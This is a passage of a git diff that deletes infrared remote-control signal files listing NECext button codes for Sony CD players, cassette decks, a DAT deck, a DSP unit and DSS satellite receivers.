CURSOR_DOWN -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 39 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir deleted file mode 100644 index 439e13c96..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/CD Player/81,-1.ir +++ /dev/null @@ -1,416 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1/&!? -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 00 00 00 00 -# -name: 2/ABC -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 01 00 00 00 -# -name: 3/DEF -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 02 00 00 00 -# -name: 4/GHI -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 03 00 00 00 -# -name: 5/JKL -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 04 00 00 00 -# -name: 6/MNO -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 05 00 00 00 -# -name: 7/PRS -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 06 00 00 00 -# -name: 8/TUV -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 07 00 00 00 -# -name: 9/WXY -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 08 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0B 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0F 00 00 00 -# -name: LINE_LEVEL_OUT_+ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 12 00 00 00 -# -name: LINE_LEVEL_OUT_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 15 00 00 00 -# -name: CONTINUE_PLAY -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1D 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1D 00 00 00 -# -name: PROGRAM_PLAY -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1F 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1F 00 00 00 -# -name: 10/0/QZ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 20 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 20 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 27 00 00 00 -# -name: TIME/TEXT/SPACE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 28 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 28 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 2C 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 30 00 00 00 -# -name: <<_TRACK -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 30 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 31 00 00 00 -# -name: >>_TRACK -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 33 00 00 00 -# -name: <<_SCAN -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 33 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 34 00 00 00 -# -name: >>_SCAN -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 34 00 00 00 -# -name: SHUFFLE_PLAY -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 35 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 39 00 00 00 -# -name: MUSIC_SCAN -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3C 00 00 00 -# -name: DISK_SKIP_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3D 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3D 00 00 00 -# -name: DISK_SKIP_+ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3E 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3E 00 00 00 -# -name: HIGH-LIGHT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3F 00 00 00 -# -name: EXTRA -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 3F 00 00 00 -# -name: DISC/CAPS -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 4A 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 4A 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 4B 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 4C 00 00 00 -# -name: FADER/DEL -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 5F 00 00 00 -# -name: MEMO_INPUT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 69 00 00 00 -# -name: MEMO_SCAN -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 6B 00 00 00 -# -name: MEGA_NO_DELAY -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 6E 00 00 00 -# -name: MEGA_CONTROL -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 6F 00 00 00 -# -name: MEGA_X-FADE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 7C 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir deleted file mode 100644 index 96298aab3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0E 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0F 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 19 00 00 00 -# -name: >_PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1A 00 00 00 -# -name: <<_REWIND -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1B 00 00 00 -# -name: >>_FAST_FORWARD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1E 00 00 00 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1F 00 00 00 -# -name: <_PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 4E 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir deleted file mode 100644 index be1ae02f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: >_PLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: <<_REWIND -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: >>_FAST_FORWARD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 34 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 36 00 00 00 -# -name: <_PLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 39 00 00 00 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir deleted file mode 100644 index 9b642ea4c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DAT/28,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 14 00 00 00 -# -name: RMS_ENTER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1B 00 00 00 -# -name: RMS_CHECK -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1E 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: COUNTER_MODE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 21 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 22 00 00 00 -# -name: DATE_PRESENT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 29 00 00 00 -# -name: DATE_RECORDED -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2F 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 36 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 38 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 39 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3A 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3B 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3D 00 00 00 -# -name: AMS_PREVIOUS -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 68 00 00 00 -# -name: AMS_NEXT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 69 00 00 00 -# -name: M._SCAN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 6C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir deleted file mode 100644 index ac8a1fa3a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSP/26,233.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_RIGHT -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 0A 00 00 00 -# -name: INPUT_LEFT -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 0B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 0C 00 00 00 -# -name: MASTER_VOL_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 12 00 00 00 -# -name: MASTER_VOL_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 14 00 00 00 -# -name: REAR_BAL_L -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 26 00 00 00 -# -name: REAR_BAL_R -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 27 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 32 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 38 00 00 00 -# -name: DOLBY_SURR -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 3D 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 3E 00 00 00 -# -name: EFFECT_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 42 00 00 00 -# -name: EFFECT_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 43 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4A 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4B 00 00 00 -# -name: FRONT_BAL_L -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4C 00 00 00 -# -name: FRONT_BAL_R -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4D 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4E 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 4F 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 54 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 55 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 56 00 00 00 -# -name: SUB_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 57 00 00 00 -# -name: MENU_SELECT_+ -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 78 00 00 00 -# -name: MENU_SELECT_- -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 79 00 00 00 -# -name: MENU_SELECT_UP -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 7A 00 00 00 -# -name: MENU_SELECT_DWN -type: parsed -protocol: NECext -address: 1A E9 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir deleted file mode 100644 index 1b472257c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/1,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: PIC_MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 64 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir deleted file mode 100644 index 7e0d1a116..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/11,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir deleted file mode 100644 index 94d0b8d2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/DSS/183,-1.ir +++ /dev/null @@ -1,650 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 09 00 00 00 -# -name: ALTERNATE_AUDIO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0B 00 00 00 -# -name: ENTER/JUMP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 15 00 00 00 -# -name: ALTERNATE_AUDIO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1A 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1B 00 00 00 -# -name: RR -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1B 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1C 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1C 00 00 00 -# -name: REC_ON/OFF -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1D 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 1D 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 20 00 00 00 -# -name: SLOW_FWD -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 23 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 23 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 27 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 27 00 00 00 -# -name: WINDOW -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 28 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 29 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2A 00 00 00 -# -name: MY_SHOWS -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2B 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2E 00 00 00 -# -name: PWR_ON -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 2F 00 00 00 -# -name: OUTPUT_CONTROL -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 32 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 32 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 32 00 00 00 -# -name: SIGNAL -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 35 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 38 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3A 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3B 00 00 00 -# -name: CLOSED_CAPTION -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3B 00 00 00 -# -name: WIDE_MODE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3D 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 3F 00 00 00 -# -name: PIP_(ON) -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 40 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 40 00 00 00 -# -name: PIP-CH+ -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 41 00 00 00 -# -name: PIP-CH-- -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 42 00 00 00 -# -name: PIP-SWAP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 43 00 00 00 -# -name: CATEGORY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 44 00 00 00 -# -name: CATAGORY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 44 00 00 00 -# -name: PIP-POSITION -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 46 00 00 00 -# -name: PIP-AUDIO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 47 00 00 00 -# -name: PIP-OFF -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 48 00 00 00 -# -name: DOT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4A 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4A 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4A 00 00 00 -# -name: . -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4A 00 00 00 -# -name: RECENT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4B 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 4C 00 00 00 -# -name: SCROLL_> -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 58 00 00 00 -# -name: SCROLL< -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 59 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 5B 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 5C 00 00 00 -# -name: TV/WEB -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 5C 00 00 00 -# -name: I(INTERACTIVE) -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 60 00 00 00 -# -name: OPTIONS -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 61 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 62 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 63 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 63 00 00 00 -# -name: TIVO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 64 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 68 00 00 00 -# -name: TV/DSS -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 69 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 69 00 00 00 -# -name: TV/DSS_-_SELECT_DSS -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6A 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6A 00 00 00 -# -name: TV/DSS_-_SELECT_TV -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6B 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6B 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6C 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6E 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6F 00 00 00 -# -name: FAVORITES -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 6F 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 70 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 71 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 72 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_UO -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 72 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 73 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 73 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 74 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 74 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 75 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 75 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 -# -name: CURSOR_CLICK -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: B7 00 00 00 -command: 76 00 00 00 -# -name: 